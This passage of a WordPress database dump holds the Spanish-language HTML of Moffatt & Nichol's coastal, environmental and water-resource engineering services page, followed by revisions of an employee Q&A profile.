potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámica, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámica y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con agua profundas y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizado estudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-6','','','2013-01-09 05:24:09','2013-01-09 05:24:09','',526,'http://moffattnichol.com/spanish/526-revision-6/',0,'revision','',0),(2760,1,'2012-09-06 09:53:13','2012-09-06 09:53:13','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\" alt=\"\" title=\"Gerry\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1518\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe uní a la compañía en 1998\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nPor asociación anterior con Moffatt & Nichol Engineers\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nLa variedad del trabajo que hacemos y la personalidad de la firma.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó? </strong>\r\nIngeniero de diseño de cimentaciones para el puente de la bahía de Oakland, San Francisco. ¿En qué tipo de proyectos trabaja o ha trabajado? - Cimentaciones de puentes - Estudios y diseños de terminales marítimas - Cimentaciones y subestructuras de turbinas eólicas\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia? </strong>\r\nLa compañía ofrece una amplia gama de capacidades, la individualidad de los empleados y la buena voluntad de las oficinas para compartir el trabajo y la experiencia profesional, y una estructura corporativa que no es demasiado formal.\r\n\r\n</p>\r\n','Gerry','<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe unÃ a la compaÃ±Ãa en 1998\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nPor asociaciÃ³n anterior con Moffatt & Nichol Engineers</p>','inherit','open','open','','1517-revision-2','','','2012-09-06 09:53:13','2012-09-06 09:53:13','',1517,'http://moffattnichol.com/spanish/1517-revision-2/',0,'revision','',0),(2761,1,'2013-01-09 06:11:09','2013-01-09 06:11:09','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\" alt=\"\" title=\"Gerry\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1518\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe uní a la compañía en 1998\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nPor asociación anterior con Moffatt & Nichol Engineers\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nLa variedad del trabajo que hacemos y la personalidad de la firma.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó? </strong>\r\nIngeniero de diseño de cimentaciones para el puente de la bahía de Oakland, San Francisco.\r\n<strong>¿En qué tipo de proyectos trabaja o ha trabajado?</strong>\r\n- Cimentaciones de puentes\r\n- Estudios y diseños de terminales marítimas \r\n- Cimentaciones y subestructuras de turbinas eólicas\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia? </strong>\r\nLa compañía ofrece una amplia gama de capacidades, la individualidad de los empleados y la buena voluntad de las oficinas para compartir el trabajo y la experiencia profesional, y una estructura corporativa que no es demasiado formal.\r\n\r\n</p>\r\n','Gerry','<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe unÃ a la compaÃ±Ãa en 1998\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nPor asociaciÃ³n anterior con Moffatt & Nichol Engineers</p>','inherit','open','open','','1517-revision-3','','','2013-01-09 06:11:09','2013-01-09 